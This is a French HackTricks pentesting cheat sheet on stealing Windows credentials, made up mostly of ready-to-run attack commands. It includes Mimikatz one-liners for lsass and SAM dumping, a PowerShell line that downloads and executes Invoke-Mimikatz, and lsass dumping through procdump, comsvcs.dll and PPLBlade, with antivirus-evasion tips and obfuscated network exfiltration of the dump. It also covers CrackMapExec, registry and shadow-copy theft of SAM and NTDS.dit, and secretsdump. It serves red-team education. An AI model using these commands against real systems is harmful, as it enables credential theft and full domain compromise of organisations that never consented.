Stealing Windows Credentials

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Mimikatz de Credentials

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Découvrez d'autres fonctionnalités que Mimikatz peut exécuter dans cette page.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Découvrez certaines protections possibles des identifiants ici. Ces protections pourraient empêcher Mimikatz d'extraire certains identifiants.

Identifiants avec Meterpreter

Utilisez le Plugin Credentials que j'ai créé pour rechercher des mots de passe et des hachages à l'intérieur de la victime.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Contournement de l'AV

Procdump + Mimikatz

Comme Procdump de SysInternalsest un outil légitime de Microsoft, il n'est pas détecté par Defender. Vous pouvez utiliser cet outil pour dumper le processus lsass, télécharger le dump et extraire les informations d'identification localement à partir du dump.

Dump lsass
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Extraire les identifiants du dump
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

Ce processus est effectué automatiquement avec SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Remarque: Certains AV peuvent détecter comme malveillante l'utilisation de procdump.exe pour vider lsass.exe, cela est dû à la détection de la chaîne "procdump.exe" et "lsass.exe". Il est donc plus discret de passer en argument le PID de lsass.exe à procdump au lieu du nom lsass.exe.

Vidage de lsass avec comsvcs.dll

Une DLL nommée comsvcs.dll trouvée dans C:\Windows\System32 est responsable du vidage de la mémoire du processus en cas de crash. Cette DLL inclut une fonction nommée MiniDumpW, conçue pour être invoquée à l'aide de rundll32.exe. Il est sans importance d'utiliser les deux premiers arguments, mais le troisième est divisé en trois composants. Le PID du processus à vider constitue le premier composant, l'emplacement du fichier de vidage représente le deuxième, et le troisième composant est strictement le mot full. Aucune autre option n'existe. En analysant ces trois composants, la DLL se charge de créer le fichier de vidage et de transférer la mémoire du processus spécifié dans ce fichier. L'utilisation de comsvcs.dll est faisable pour vider le processus lsass, éliminant ainsi le besoin de télécharger et exécuter procdump. Cette méthode est décrite en détail sur https://en.hackndo.com/remote-lsass-dump-passwords/.

La commande suivante est utilisée pour l'exécution:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

Vous pouvez automatiser ce processus avec lsassy.

Dump de lsass avec le Gestionnaire des tâches

  1. Cliquez avec le bouton droit sur la barre des tâches et cliquez sur Gestionnaire des tâches

  2. Cliquez sur Plus de détails

  3. Recherchez le processus "Processus d'autorité de sécurité locale" dans l'onglet Processus

  4. Cliquez avec le bouton droit sur le processus "Processus d'autorité de sécurité locale" et cliquez sur "Créer un fichier de vidage".

Dump de lsass avec procdump

Procdump est un binaire signé par Microsoft qui fait partie de la suite sysinternals.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade est un outil de Dump de Processus Protégé qui prend en charge l'obfuscation du dump mémoire et son transfert sur des postes de travail distants sans le déposer sur le disque.

Fonctionnalités clés:

  1. Contournement de la protection PPL

  2. Obfuscation des fichiers de dump mémoire pour éviter les mécanismes de détection basés sur les signatures de Defender

  3. Téléchargement du dump mémoire avec des méthodes de téléchargement RAW et SMB sans le déposer sur le disque (dump sans fichier)

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

CrackMapExec

Extraire les hachages SAM

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Voler les secrets LSA

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Extraire le NTDS.dit du contrôleur de domaine cible

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Extraire l'historique des mots de passe NTDS.dit du contrôleur de domaine cible

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Afficher l'attribut pwdLastSet pour chaque compte NTDS.dit

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Vol de SAM & SYSTEM

Ces fichiers devraient être localisés dans C:\windows\system32\config\SAM et C:\windows\system32\config\SYSTEM. Mais vous ne pouvez pas simplement les copier de manière classique car ils sont protégés.

Depuis le Registre

La manière la plus simple de voler ces fichiers est d'en obtenir une copie à partir du registre :

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Téléchargez ces fichiers sur votre machine Kali et extrayez les hachages en utilisant :

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Copie de l'ombre du volume

Vous pouvez effectuer une copie des fichiers protégés en utilisant ce service. Vous devez être Administrateur.

Utilisation de vssadmin

Le binaire vssadmin n'est disponible que dans les versions de Windows Server

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Mais vous pouvez faire la même chose depuis Powershell. Voici un exemple de comment copier le fichier SAM (le disque dur utilisé est "C:" et il est enregistré dans C:\users\Public) mais vous pouvez utiliser ceci pour copier n'importe quel fichier protégé:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Code du livre : https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

Enfin, vous pourriez également utiliser le script PS Invoke-NinjaCopy pour faire une copie de SAM, SYSTEM et ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Informations d'identification d'Active Directory - NTDS.dit

Le fichier NTDS.dit est connu comme le cœur d'Active Directory, contenant des données cruciales sur les objets utilisateur, les groupes et leurs appartenances. C'est là que les hachages de mots de passe des utilisateurs de domaine sont stockés. Ce fichier est une base de données Extensible Storage Engine (ESE) et se trouve dans %SystemRoom%/NTDS/ntds.dit.

Trois tables principales sont maintenues dans cette base de données :

  • Table de données : Cette table est chargée de stocker des détails sur des objets tels que des utilisateurs et des groupes.

  • Table de liens : Elle garde une trace des relations, telles que les appartenances aux groupes.

  • Table SD : Les descripteurs de sécurité de chaque objet sont conservés ici, assurant la sécurité et le contrôle d'accès des objets stockés.

Plus d'informations à ce sujet : http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows utilise Ntdsa.dll pour interagir avec ce fichier et il est utilisé par lsass.exe. Ainsi, une partie du fichier NTDS.dit pourrait être située à l'intérieur de la mémoire de lsass (vous pouvez trouver les données les plus récemment consultées probablement en raison de l'amélioration des performances en utilisant un cache).

Décryptage des hachages à l'intérieur de NTDS.dit

Le hachage est chiffré 3 fois :

  1. Décrypter la clé de chiffrement du mot de passe (PEK) en utilisant la BOOTKEY et RC4.

  2. Décrypter le hachage en utilisant PEK et RC4.

  3. Décrypter le hachage en utilisant DES.

PEK a la même valeur dans chaque contrôleur de domaine, mais il est chiffré à l'intérieur du fichier NTDS.dit en utilisant la BOOTKEY du fichier SYSTEM du contrôleur de domaine (différent entre les contrôleurs de domaine). C'est pourquoi pour obtenir les informations d'identification du fichier NTDS.dit, vous avez besoin des fichiers NTDS.dit et SYSTEM (C:\Windows\System32\config\SYSTEM).

Copie de NTDS.dit en utilisant Ntdsutil

Disponible depuis Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

Vous pourriez également utiliser le tour de la copie de l'ombre du volume pour copier le fichier ntds.dit. N'oubliez pas que vous aurez également besoin d'une copie du fichier SYSTEM (encore une fois, dump it from the registry or use the volume shadow copy trick).

Extraction des hachages de NTDS.dit

Une fois que vous avez obtenu les fichiers NTDS.dit et SYSTEM, vous pouvez utiliser des outils comme secretsdump.py pour extraire les hachages:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

Vous pouvez également les extraire automatiquement en utilisant un utilisateur administrateur de domaine valide :

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Pour les grands fichiers NTDS.dit, il est recommandé de l'extraire en utilisant gosecretsdump.

Enfin, vous pouvez également utiliser le module metasploit : post/windows/gather/credentials/domain_hashdump ou mimikatz lsadump::lsa /inject

Extraction des objets de domaine de NTDS.dit vers une base de données SQLite

Les objets NTDS peuvent être extraits vers une base de données SQLite avec ntdsdotsqlite. Non seulement les secrets sont extraits, mais aussi l'ensemble des objets et de leurs attributs pour une extraction d'informations ultérieure lorsque le fichier NTDS.dit brut est déjà récupéré.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

Le ruche SYSTEM est facultative mais permet le décryptage des secrets (hachages NT & LM, informations d'identification supplémentaires telles que les mots de passe en clair, clés Kerberos ou de confiance, historiques de mots de passe NT & LM). En plus d'autres informations, les données suivantes sont extraites : comptes utilisateur et machine avec leurs hachages, indicateurs UAC, horodatage du dernier accès et du changement de mot de passe, descriptions de comptes, noms, UPN, SPN, groupes et adhésions récursives, arborescence des unités organisationnelles et adhésions, domaines de confiance avec type de confiance, direction et attributs...

Lazagne

Téléchargez le binaire à partir de ici. Vous pouvez utiliser ce binaire pour extraire des informations d'identification de plusieurs logiciels.

lazagne.exe all

Autres outils pour extraire des informations d'identification de SAM et LSASS

Windows credentials Editor (WCE)

Cet outil peut être utilisé pour extraire des informations d'identification de la mémoire. Téléchargez-le depuis : http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

Extraire des informations d'identification du fichier SAM

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

Extraire les informations d'identification du fichier SAM

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Téléchargez-le depuis: http://www.tarasco.org/security/pwdump_7 et exécutez-le pour extraire les mots de passe.

Défenses

Apprenez-en davantage sur certaines protections des identifiants ici.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks:

Dernière mise à jour